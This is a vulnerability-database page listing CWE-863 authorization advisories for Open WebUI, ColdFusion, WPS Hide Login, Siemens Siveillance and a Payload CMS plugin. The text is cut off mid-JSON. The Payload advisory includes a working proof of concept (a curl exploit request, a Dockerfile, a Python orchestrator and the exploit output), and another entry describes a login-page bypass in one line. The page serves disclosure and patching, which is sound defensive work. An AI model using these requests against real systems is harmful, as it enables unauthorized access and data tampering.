GCVE Workshop - 22 September 2026 (14:00-18:00), Luxembourg Before The Vulnopticon Conference - Registration
Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

6714 vulnerabilities reference this CWE, most recent first.

GHSA-4QG5-CXX4-G927

Vulnerability from github – Published: 2026-09-10 15:09 – Updated: 2026-09-10 15:09
VLAI
Summary
Open WebUI: Users denied by the OAuth domain allowlist or role policy can still sign in via token exchange
Details

Summary

Open WebUI's OAuth token exchange endpoint issues a session for a provider access token without applying the email domain allowlist that the normal OAuth login callback enforces. An account whose email domain the login callback would refuse could still obtain a working session through this endpoint.

Preconditions

  • ENABLE_OAUTH_TOKEN_EXCHANGE=True. It is disabled by default, so a default deployment is not affected.
  • OAUTH_ALLOWED_DOMAINS set to something other than *. Deployments without a domain allowlist are not affected.
  • A valid, unexpired access token on the configured provider.
  • An Open WebUI account already linked to that provider subject, or an account with a matching email when OAUTH_MERGE_ACCOUNTS_BY_EMAIL is enabled. This endpoint never creates accounts, so a token for a subject with no existing account is rejected.

Impact

An admin who narrows the domain allowlist expects users outside it to lose access at their next sign-in. The login callback does deny them. Token exchange kept issuing sessions, so a user whose domain was removed retained working access as their existing account at its existing role. The endpoint cannot create an account and cannot raise anyone's role, so this grants continued access rather than new or elevated access.

Fix

fb5ef978b, released in 0.9.0, adds the same domain allowlist check to the token exchange endpoint that the login callback runs, and denies the exchange with 403 when the email domain is not allowed. Upgrading restores the check with no further action.

Root cause

The affected component is the OAuth token exchange endpoint in backend/open_webui/routers/auths.py, present in builds from 0.8.0 onward.

The endpoint was added as a second entry point into the same session-issuing path the OAuth login callback uses, but it re-implemented only the identity lookup and not the policy checks surrounding it. The domain allowlist check lived inside the callback's own body rather than in shared code, so the second caller inherited none of it.

Credits

@Classic298

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.8.0"
            },
            {
              "fixed": "0.9.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-88005"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-10T15:09:20Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\nOpen WebUI\u0027s OAuth token exchange endpoint issues a session for a provider access token without applying the email domain allowlist that the normal OAuth login callback enforces. An account whose email domain the login callback would refuse could still obtain a working session through this endpoint.\n\n## Preconditions\n- `ENABLE_OAUTH_TOKEN_EXCHANGE=True`. It is disabled by default, so a default deployment is not affected.\n- `OAUTH_ALLOWED_DOMAINS` set to something other than `*`. Deployments without a domain allowlist are not affected.\n- A valid, unexpired access token on the configured provider.\n- An Open WebUI account already linked to that provider subject, or an account with a matching email when `OAUTH_MERGE_ACCOUNTS_BY_EMAIL` is enabled. This endpoint never creates accounts, so a token for a subject with no existing account is rejected.\n\n## Impact\nAn admin who narrows the domain allowlist expects users outside it to lose access at their next sign-in. The login callback does deny them. Token exchange kept issuing sessions, so a user whose domain was removed retained working access as their existing account at its existing role. The endpoint cannot create an account and cannot raise anyone\u0027s role, so this grants continued access rather than new or elevated access.\n\n## Fix\nfb5ef978b, released in 0.9.0, adds the same domain allowlist check to the token exchange endpoint that the login callback runs, and denies the exchange with 403 when the email domain is not allowed. Upgrading restores the check with no further action.\n\n## Root cause\nThe affected component is the OAuth token exchange endpoint in `backend/open_webui/routers/auths.py`, present in builds from 0.8.0 onward.\n\nThe endpoint was added as a second entry point into the same session-issuing path the OAuth login callback uses, but it re-implemented only the identity lookup and not the policy checks surrounding it. The domain allowlist check lived inside the callback\u0027s own body rather than in shared code, so the second caller inherited none of it.\n\n## Credits\n@Classic298",
  "id": "GHSA-4qg5-cxx4-g927",
  "modified": "2026-09-10T15:09:20Z",
  "published": "2026-09-10T15:09:20Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-4qg5-cxx4-g927"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/pull/23639"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/commit/fb5ef978bfb451c3f2221931e08e54250cec58ca"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.9.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: Users denied by the OAuth domain allowlist or role policy can still sign in via token exchange"
}

GHSA-4QGQ-8279-RRR7

Vulnerability from github – Published: 2026-07-14 21:32 – Updated: 2026-07-14 21:32
VLAI
Details

ColdFusion is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. An attacker could leverage this vulnerability to gain unauthorized read and write access. Exploitation of this issue does not require user interaction. Scope is changed.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-48321"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-14T21:16:58Z",
    "severity": "CRITICAL"
  },
  "details": "ColdFusion is affected by an Incorrect Authorization vulnerability that could result in privilege escalation. An attacker could leverage this vulnerability to gain unauthorized read and write access. Exploitation of this issue does not require user interaction. Scope is changed.",
  "id": "GHSA-4qgq-8279-rrr7",
  "modified": "2026-07-14T21:32:23Z",
  "published": "2026-07-14T21:32:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48321"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/coldfusion/apsb26-82.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4QJ7-X2FH-XJVQ

Vulnerability from github – Published: 2026-07-14 21:32 – Updated: 2026-07-14 21:32
VLAI
Details

ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue does not require user interaction. Scope is changed.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-48327"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-14T21:16:59Z",
    "severity": "CRITICAL"
  },
  "details": "ColdFusion is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue does not require user interaction. Scope is changed.",
  "id": "GHSA-4qj7-x2fh-xjvq",
  "modified": "2026-07-14T21:32:23Z",
  "published": "2026-07-14T21:32:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48327"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/coldfusion/apsb26-82.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4QM3-4V98-G42C

Vulnerability from github – Published: 2021-12-07 00:00 – Updated: 2022-03-18 00:01
VLAI
Details

The WPS Hide Login WordPress plugin before 1.9.1 has a bug which allows to get the secret login page by setting a random referer string and making a request to /wp-admin/options.php as an unauthenticated user.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-24917"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-06T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "The WPS Hide Login WordPress plugin before 1.9.1 has a bug which allows to get the secret login page by setting a random referer string and making a request to /wp-admin/options.php as an unauthenticated user.",
  "id": "GHSA-4qm3-4v98-g42c",
  "modified": "2022-03-18T00:01:45Z",
  "published": "2021-12-07T00:00:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-24917"
    },
    {
      "type": "WEB",
      "url": "https://wordpress.org/support/topic/bypass-security-issue"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/15bb711a-7d70-4891-b7a2-c473e3e8b375"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4QPH-WHWP-XM7R

Vulnerability from github – Published: 2024-03-12 12:30 – Updated: 2024-03-12 12:30
VLAI
Details

A vulnerability has been identified in Siveillance Control (All versions >= V2.8 < V3.1.1). The affected product does not properly check the list of access groups that are assigned to an individual user. This could enable a locally logged on user to gain write privileges for objects where they only have read privileges.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-45793"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-12T11:15:47Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability has been identified in Siveillance Control (All versions \u003e= V2.8 \u003c V3.1.1). The affected product does not properly check the list of access groups that are assigned to an individual user. This could enable a locally logged on user to gain write privileges for objects where they only have read privileges.",
  "id": "GHSA-4qph-whwp-xm7r",
  "modified": "2024-03-12T12:30:48Z",
  "published": "2024-03-12T12:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-45793"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-145196.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4QPV-39HG-F7FX

Vulnerability from github – Published: 2026-09-10 22:39 – Updated: 2026-09-16 18:56
VLAI
Summary
@jhb.software/payload-alt-text-plugin: Alt Text Endpoint Authorization Bypass via Payload Local API `overrideAccess` Omission
Details

Alt Text Endpoint Authorization Bypass via Payload Local API overrideAccess Omission

Summary

@jhb.software/payload-alt-text-plugin v0.7.0 exposes custom Payload CMS endpoints (POST /api/alt-text-plugin/generate and /bulk) that call the Payload Local API (findByID and update) without setting overrideAccess: false. Because Payload's internal logic evaluates shouldOverrideAccess = overrideAccess !== false, omitting the parameter causes it to default to true, silently bypassing all collection-level access control functions. Any authenticated user — regardless of role — can read and overwrite the alt and keywords fields of arbitrary upload documents that would otherwise be protected by restrictive collection access rules. The vulnerability is rated High (CVSS 7.1).

Details

The plugin registers two network endpoints in alt-text/src/plugin.ts:179-186. Their default access guard (plugin.ts:55) only checks !!req.user, meaning any authenticated session satisfies the check regardless of the role required by the underlying collection.

The endpoint handler at alt-text/src/endpoints/generateAltText.ts accepts user-controlled id, collection, locale, and update fields from the request body (line 29), then passes them directly to two unsecured Local API calls:

Read bypass (generateAltText.ts:31):

const imageDoc = await req.payload.findByID({
  id,
  collection,
  depth: 0,
  // overrideAccess: false is absent → defaults to true
})

Write bypass (generateAltText.ts:121):

await req.payload.update({
  id,
  collection,
  data: {
    alt: result.result.altText,
    keywords: result.result.keywords,
  },
  locale: targetLocale,
  // overrideAccess: false is absent → defaults to true
})

The bulk endpoint (alt-text/src/endpoints/bulkGenerateAltTexts.ts) repeats the same pattern at lines 120 (read) and 170 (write).

Payload's internal resolution of overrideAccess is:

shouldOverrideAccess = overrideAccess !== false
// undefined !== false → true → collection access function is never called

Because the collection-level read and update access functions are never invoked, any attacker with a valid session can target documents in any upload collection, regardless of how that collection's access is configured.

PoC

Environment setup:

  1. Clone the repository and install @jhb.software/payload-alt-text-plugin@0.7.0 into a Payload v3 project.
  2. Configure an upload collection named media with read and update access restricted to users with role: "admin".
  3. Configure the plugin with collections: ["media"] and a resolver that returns { success: true, result: { altText: "PWNED_BY_EXPLOIT", keywords: ["hacked", "bypass"] } }.
  4. As an admin, create a media document (e.g., ID doc-001) with alt = "original safe alt text".
  5. Obtain a session token for a non-admin user (role: "user").

Build and run the dynamic PoC (Docker):

# Build
docker build -t vuln001-poc -f vuln-001/Dockerfile .

# Run
docker run --rm vuln001-poc

Exploit request:

curl -i -b "payload-token=<LOW_PRIV_TOKEN>" \
  -H "Content-Type: application/json" \
  -X POST http://localhost:3000/api/alt-text-plugin/generate \
  --data '{"collection":"media","id":"doc-001","locale":"en","update":true}'

Expected result:

  • HTTP 200 is returned.
  • The response body contains "altText": "PWNED_BY_EXPLOIT".
  • A subsequent admin read of media/doc-001 confirms alt = "PWNED_BY_EXPLOIT" and keywords = ["hacked", "bypass"], despite the collection's update access being restricted to admins.

Control verification (confirms the bypass is real, not a misconfiguration):

A direct Local API call with overrideAccess: false by the same non-admin user throws AccessError: update denied for collection "media" (user role: user), proving that the access rule is correct and the plugin endpoint is the vector.

Dynamic reproduction output (Phase 2 confirmed):

VULN-001: Alt Text endpoint authorization bypass
  Payload Local API overrideAccess omission in
  generateAltText.ts:31 and :121

[Step 1] Control: non-admin direct update with overrideAccess:false
  PASS: access correctly denied → AccessError

[Step 3] EXPLOIT: non-admin calls POST /api/alt-text-plugin/generate
  HTTP status : 200
  Response    : {"id":"doc-001","collection":"media","altText":"PWNED_BY_EXPLOIT","keywords":["hacked","bypass"]}

VULNERABILITY CONFIRMED — EXPLOITATION SUCCESSFUL

Impact

This is an Incorrect Authorization vulnerability (CWE-863). The plugin's endpoints act as an authorization bypass tunnel into Payload's Local API. Any authenticated user — a subscriber, editor, or any low-privilege role — can:

  1. Read the content of arbitrary upload documents that collection access rules would otherwise deny them.
  2. Overwrite the alt text and keywords fields on those documents, effectively performing unauthorized content modification.

Operators who restrict upload collection access by role (a common production pattern) are fully impacted. Attackers do not need admin credentials; any valid session suffices. The vulnerability is exploitable on all default deployments where the plugin is enabled, with no special configuration required on the attacker's side.

Reproduction artifacts

Dockerfile

# Dockerfile for VULN-001 dynamic reproduction
#
# Build context: the parent directory that contains both
#   repo/          (jhb-software/payload-plugins clone)
#   vuln-001/      (this workspace)
#
# Build:  docker build -t vuln001-poc -f vuln-001/Dockerfile .
# Run:    docker run --rm vuln001-poc

FROM node:22-slim

WORKDIR /app

# ---- Copy plugin source files required by the PoC ----
# Only the endpoint under test and its direct dependencies are needed.
# No Payload framework install required: we mock it in the PoC.

COPY repo/alt-text/src/endpoints/generateAltText.ts  ./plugin/src/endpoints/generateAltText.ts
COPY repo/alt-text/src/endpoints/schemas.ts          ./plugin/src/endpoints/schemas.ts
COPY repo/alt-text/src/utilities/mimeTypes.ts        ./plugin/src/utilities/mimeTypes.ts
COPY repo/alt-text/src/types/AltTextPluginConfig.ts  ./plugin/src/types/AltTextPluginConfig.ts
COPY repo/alt-text/src/resolvers/types.ts            ./plugin/src/resolvers/types.ts

# ---- Copy PoC files ----
COPY vuln-001/package_inner.json ./package.json
COPY vuln-001/inner_poc.ts       ./inner_poc.ts

# ---- Install minimal runtime dependencies ----
# zod: schema validation used by the endpoint handler
# tsx:  TypeScript executor that handles .js→.ts extension mapping
RUN npm install --no-audit --no-fund

# ---- Run the PoC ----
CMD ["node_modules/.bin/tsx", "inner_poc.ts"]

poc.py

#!/usr/bin/env python3
"""
poc.py — VULN-001 Dynamic Reproduction Orchestrator

Vulnerability: @jhb.software/payload-alt-text-plugin v0.7.0
Title: Alt Text endpoint authorization bypass via Payload Local API overrideAccess omission
CWE: CWE-863 (Incorrect Authorization)

This script:
  1. Builds a Docker image containing the real plugin endpoint source.
  2. Runs the container, which calls the endpoint handler with a non-admin user.
  3. Captures stdout/stderr as evidence.
  4. Writes the result to phase2_result.json.

Usage:
  python3 poc.py

Safety:
  - All traffic stays on 127.0.0.1 / localhost inside Docker.
  - No external services are contacted.
  - No live credentials are used.
"""

import json
import os
import subprocess
import sys

# ---------------------------------------------------------------------------
# Paths
# ---------------------------------------------------------------------------

THIS_DIR = os.path.dirname(os.path.abspath(__file__))
# Build context: parent directory that contains both repo/ and vuln-001/
BUILD_CONTEXT = os.path.dirname(THIS_DIR)
DOCKERFILE = os.path.join(THIS_DIR, "Dockerfile")
IMAGE_TAG = "vuln001-poc"
RESULT_FILE = os.path.join(THIS_DIR, "phase2_result.json")

BUILD_COMMAND = f"docker build -t {IMAGE_TAG} -f vuln-001/Dockerfile ."
RUN_COMMAND = f"docker run --rm {IMAGE_TAG}"
POC_COMMAND = f"python3 poc.py"


def run(cmd: list[str], cwd: str, timeout: int = 180) -> tuple[int, str, str]:
    """Run a subprocess and return (returncode, stdout, stderr)."""
    result = subprocess.run(
        cmd,
        cwd=cwd,
        capture_output=True,
        text=True,
        timeout=timeout,
    )
    return result.returncode, result.stdout, result.stderr


def write_result(passed: bool, verdict: str, reason: str, evidence: str,
                 build_out: str = "", run_out: str = "", failure_detail: str = "") -> None:
    """Write phase2_result.json."""
    data: dict = {
        "passed": passed,
        "verdict": verdict,
        "reason": reason,
        "build_command": BUILD_COMMAND,
        "run_command": RUN_COMMAND,
        "poc_command": POC_COMMAND,
        "evidence": evidence,
        "artifacts": ["Dockerfile", "poc.py"],
    }
    if failure_detail:
        data["failure_detail"] = failure_detail
    if build_out:
        data["build_output_tail"] = build_out[-2000:]
    if run_out:
        data["run_output"] = run_out
    with open(RESULT_FILE, "w", encoding="utf-8") as fh:
        json.dump(data, fh, indent=2, ensure_ascii=False)
    print(f"\nResult written to: {RESULT_FILE}")


def main() -> int:
    # -----------------------------------------------------------------------
    # Step 1: Build the Docker image
    # -----------------------------------------------------------------------
    print("=" * 60)
    print("VULN-001 Dynamic Reproduction")
    print("=" * 60)
    print()
    print(f"[1/2] Building Docker image: {IMAGE_TAG}")
    print(f"      Context : {BUILD_CONTEXT}")
    print(f"      Command : {BUILD_COMMAND}")
    print()

    rc, build_stdout, build_stderr = run(
        ["docker", "build", "-t", IMAGE_TAG, "-f", "vuln-001/Dockerfile", "."],
        cwd=BUILD_CONTEXT,
    )

    combined_build = (build_stdout + build_stderr).strip()
    if rc != 0:
        print("ERROR: Docker build failed.")
        print(combined_build[-3000:])
        write_result(
            passed=False,
            verdict="FAIL",
            reason="Docker 빌드 실패 — npm install 또는 파일 복사 오류",
            evidence="",
            build_out=combined_build,
            failure_detail=f"docker build exit code {rc}:\n{combined_build[-2000:]}",
        )
        return 1

    print("      Build succeeded.")
    print()

    # -----------------------------------------------------------------------
    # Step 2: Run the PoC container
    # -----------------------------------------------------------------------
    print(f"[2/2] Running PoC container")
    print(f"      Command : {RUN_COMMAND}")
    print()

    rc, run_stdout, run_stderr = run(
        ["docker", "run", "--rm", IMAGE_TAG],
        cwd=BUILD_CONTEXT,
    )

    combined_run = (run_stdout + run_stderr).strip()
    print(combined_run)
    print()

    # -----------------------------------------------------------------------
    # Step 3: Evaluate the output
    # -----------------------------------------------------------------------
    success_marker = "VULNERABILITY CONFIRMED"
    pwned_marker = "PWNED_BY_EXPLOIT"

    if rc == 0 and success_marker in combined_run and pwned_marker in combined_run:
        # Extract the key evidence block
        lines = combined_run.splitlines()
        evidence_lines = []
        in_block = False
        for line in lines:
            if success_marker in line or pwned_marker in line or "EXPLOITATION" in line:
                in_block = True
            if in_block:
                evidence_lines.append(line)
            if in_block and line.startswith("→"):
                break
        evidence = "\n".join(evidence_lines) if evidence_lines else combined_run[-1500:]

        write_result(
            passed=True,
            verdict="PASS",
            reason=(
                "비관리자(role=user) 세션이 POST /api/alt-text-plugin/generate?update=true 호출을 통해 "
                "admin 전용 컬렉션의 문서 필드(alt, keywords)를 임의 수정하는 것을 실제 엔드포인트 코드 실행으로 확인. "
                "generateAltText.ts:121에서 payload.update()가 overrideAccess:false 없이 호출되어 "
                "Payload Local API의 기본 shouldOverrideAccess = undefined !== false → true 로직에 의해 "
                "컬렉션 레벨 access 함수가 우회됨. "
                "직접 update(overrideAccess:false) 호출은 AccessError로 차단되지만 플러그인 엔드포인트 경유 시 성공."
            ),
            evidence=evidence,
            run_out=combined_run,
        )
        print("PASS — vulnerability dynamically confirmed.")
        return 0

    else:
        print("FAIL — success marker not found or container exited non-zero.")
        write_result(
            passed=False,
            verdict="FAIL" if rc != 0 else "INCOMPLETE",
            reason=(
                f"컨테이너 종료 코드 {rc}. "
                "성공 마커(VULNERABILITY CONFIRMED)가 출력에서 발견되지 않음. "
                "로그를 확인하여 원인 파악 필요."
            ),
            evidence=combined_run[-2000:],
            run_out=combined_run,
            failure_detail=f"Container exit code: {rc}\nstdout+stderr:\n{combined_run}",
        )
        return 1


if __name__ == "__main__":
    sys.exit(main())
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@jhb.software/payload-alt-text-plugin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59965"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-10T22:39:14Z",
    "nvd_published_at": "2026-09-15T16:17:17Z",
    "severity": "HIGH"
  },
  "details": "## Alt Text Endpoint Authorization Bypass via Payload Local API `overrideAccess` Omission\n\n### Summary\n\n`@jhb.software/payload-alt-text-plugin` v0.7.0 exposes custom Payload CMS endpoints (`POST /api/alt-text-plugin/generate` and `/bulk`) that call the Payload Local API (`findByID` and `update`) without setting `overrideAccess: false`. Because Payload\u0027s internal logic evaluates `shouldOverrideAccess = overrideAccess !== false`, omitting the parameter causes it to default to `true`, silently bypassing all collection-level access control functions. Any authenticated user \u2014 regardless of role \u2014 can read and overwrite the `alt` and `keywords` fields of arbitrary upload documents that would otherwise be protected by restrictive collection access rules. The vulnerability is rated **High** (CVSS 7.1).\n\n### Details\n\nThe plugin registers two network endpoints in `alt-text/src/plugin.ts:179-186`. Their default access guard (`plugin.ts:55`) only checks `!!req.user`, meaning any authenticated session satisfies the check regardless of the role required by the underlying collection.\n\nThe endpoint handler at `alt-text/src/endpoints/generateAltText.ts` accepts user-controlled `id`, `collection`, `locale`, and `update` fields from the request body (`line 29`), then passes them directly to two unsecured Local API calls:\n\n**Read bypass** (`generateAltText.ts:31`):\n```typescript\nconst imageDoc = await req.payload.findByID({\n  id,\n  collection,\n  depth: 0,\n  // overrideAccess: false is absent \u2192 defaults to true\n})\n```\n\n**Write bypass** (`generateAltText.ts:121`):\n```typescript\nawait req.payload.update({\n  id,\n  collection,\n  data: {\n    alt: result.result.altText,\n    keywords: result.result.keywords,\n  },\n  locale: targetLocale,\n  // overrideAccess: false is absent \u2192 defaults to true\n})\n```\n\nThe bulk endpoint (`alt-text/src/endpoints/bulkGenerateAltTexts.ts`) repeats the same pattern at lines `120` (read) and `170` (write).\n\nPayload\u0027s internal resolution of `overrideAccess` is:\n```\nshouldOverrideAccess = overrideAccess !== false\n// undefined !== false \u2192 true \u2192 collection access function is never called\n```\n\nBecause the collection-level `read` and `update` access functions are never invoked, any attacker with a valid session can target documents in any upload collection, regardless of how that collection\u0027s access is configured.\n\n### PoC\n\n**Environment setup:**\n\n1. Clone the repository and install `@jhb.software/payload-alt-text-plugin@0.7.0` into a Payload v3 project.\n2. Configure an upload collection named `media` with `read` and `update` access restricted to users with `role: \"admin\"`.\n3. Configure the plugin with `collections: [\"media\"]` and a resolver that returns `{ success: true, result: { altText: \"PWNED_BY_EXPLOIT\", keywords: [\"hacked\", \"bypass\"] } }`.\n4. As an admin, create a media document (e.g., ID `doc-001`) with `alt = \"original safe alt text\"`.\n5. Obtain a session token for a non-admin user (`role: \"user\"`).\n\n**Build and run the dynamic PoC (Docker):**\n\n```bash\n# Build\ndocker build -t vuln001-poc -f vuln-001/Dockerfile .\n\n# Run\ndocker run --rm vuln001-poc\n```\n\n**Exploit request:**\n\n```bash\ncurl -i -b \"payload-token=\u003cLOW_PRIV_TOKEN\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -X POST http://localhost:3000/api/alt-text-plugin/generate \\\n  --data \u0027{\"collection\":\"media\",\"id\":\"doc-001\",\"locale\":\"en\",\"update\":true}\u0027\n```\n\n**Expected result:**\n\n- HTTP 200 is returned.\n- The response body contains `\"altText\": \"PWNED_BY_EXPLOIT\"`.\n- A subsequent admin read of `media/doc-001` confirms `alt = \"PWNED_BY_EXPLOIT\"` and `keywords = [\"hacked\", \"bypass\"]`, despite the collection\u0027s update access being restricted to admins.\n\n**Control verification (confirms the bypass is real, not a misconfiguration):**\n\nA direct Local API call with `overrideAccess: false` by the same non-admin user throws `AccessError: update denied for collection \"media\" (user role: user)`, proving that the access rule is correct and the plugin endpoint is the vector.\n\n**Dynamic reproduction output (Phase 2 confirmed):**\n\n```\nVULN-001: Alt Text endpoint authorization bypass\n  Payload Local API overrideAccess omission in\n  generateAltText.ts:31 and :121\n\n[Step 1] Control: non-admin direct update with overrideAccess:false\n  PASS: access correctly denied \u2192 AccessError\n\n[Step 3] EXPLOIT: non-admin calls POST /api/alt-text-plugin/generate\n  HTTP status : 200\n  Response    : {\"id\":\"doc-001\",\"collection\":\"media\",\"altText\":\"PWNED_BY_EXPLOIT\",\"keywords\":[\"hacked\",\"bypass\"]}\n\nVULNERABILITY CONFIRMED \u2014 EXPLOITATION SUCCESSFUL\n```\n\n### Impact\n\nThis is an **Incorrect Authorization** vulnerability (CWE-863). The plugin\u0027s endpoints act as an authorization bypass tunnel into Payload\u0027s Local API. Any authenticated user \u2014 a subscriber, editor, or any low-privilege role \u2014 can:\n\n1. **Read** the content of arbitrary upload documents that collection access rules would otherwise deny them.\n2. **Overwrite** the `alt` text and `keywords` fields on those documents, effectively performing unauthorized content modification.\n\nOperators who restrict upload collection access by role (a common production pattern) are fully impacted. Attackers do not need admin credentials; any valid session suffices. The vulnerability is exploitable on all default deployments where the plugin is enabled, with no special configuration required on the attacker\u0027s side.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# Dockerfile for VULN-001 dynamic reproduction\n#\n# Build context: the parent directory that contains both\n#   repo/          (jhb-software/payload-plugins clone)\n#   vuln-001/      (this workspace)\n#\n# Build:  docker build -t vuln001-poc -f vuln-001/Dockerfile .\n# Run:    docker run --rm vuln001-poc\n\nFROM node:22-slim\n\nWORKDIR /app\n\n# ---- Copy plugin source files required by the PoC ----\n# Only the endpoint under test and its direct dependencies are needed.\n# No Payload framework install required: we mock it in the PoC.\n\nCOPY repo/alt-text/src/endpoints/generateAltText.ts  ./plugin/src/endpoints/generateAltText.ts\nCOPY repo/alt-text/src/endpoints/schemas.ts          ./plugin/src/endpoints/schemas.ts\nCOPY repo/alt-text/src/utilities/mimeTypes.ts        ./plugin/src/utilities/mimeTypes.ts\nCOPY repo/alt-text/src/types/AltTextPluginConfig.ts  ./plugin/src/types/AltTextPluginConfig.ts\nCOPY repo/alt-text/src/resolvers/types.ts            ./plugin/src/resolvers/types.ts\n\n# ---- Copy PoC files ----\nCOPY vuln-001/package_inner.json ./package.json\nCOPY vuln-001/inner_poc.ts       ./inner_poc.ts\n\n# ---- Install minimal runtime dependencies ----\n# zod: schema validation used by the endpoint handler\n# tsx:  TypeScript executor that handles .js\u2192.ts extension mapping\nRUN npm install --no-audit --no-fund\n\n# ---- Run the PoC ----\nCMD [\"node_modules/.bin/tsx\", \"inner_poc.ts\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\npoc.py \u2014 VULN-001 Dynamic Reproduction Orchestrator\n\nVulnerability: @jhb.software/payload-alt-text-plugin v0.7.0\nTitle: Alt Text endpoint authorization bypass via Payload Local API overrideAccess omission\nCWE: CWE-863 (Incorrect Authorization)\n\nThis script:\n  1. Builds a Docker image containing the real plugin endpoint source.\n  2. Runs the container, which calls the endpoint handler with a non-admin user.\n  3. Captures stdout/stderr as evidence.\n  4. Writes the result to phase2_result.json.\n\nUsage:\n  python3 poc.py\n\nSafety:\n  - All traffic stays on 127.0.0.1 / localhost inside Docker.\n  - No external services are contacted.\n  - No live credentials are used.\n\"\"\"\n\nimport json\nimport os\nimport subprocess\nimport sys\n\n# ---------------------------------------------------------------------------\n# Paths\n# ---------------------------------------------------------------------------\n\nTHIS_DIR = os.path.dirname(os.path.abspath(__file__))\n# Build context: parent directory that contains both repo/ and vuln-001/\nBUILD_CONTEXT = os.path.dirname(THIS_DIR)\nDOCKERFILE = os.path.join(THIS_DIR, \"Dockerfile\")\nIMAGE_TAG = \"vuln001-poc\"\nRESULT_FILE = os.path.join(THIS_DIR, \"phase2_result.json\")\n\nBUILD_COMMAND = f\"docker build -t {IMAGE_TAG} -f vuln-001/Dockerfile .\"\nRUN_COMMAND = f\"docker run --rm {IMAGE_TAG}\"\nPOC_COMMAND = f\"python3 poc.py\"\n\n\ndef run(cmd: list[str], cwd: str, timeout: int = 180) -\u003e tuple[int, str, str]:\n    \"\"\"Run a subprocess and return (returncode, stdout, stderr).\"\"\"\n    result = subprocess.run(\n        cmd,\n        cwd=cwd,\n        capture_output=True,\n        text=True,\n        timeout=timeout,\n    )\n    return result.returncode, result.stdout, result.stderr\n\n\ndef write_result(passed: bool, verdict: str, reason: str, evidence: str,\n                 build_out: str = \"\", run_out: str = \"\", failure_detail: str = \"\") -\u003e None:\n    \"\"\"Write 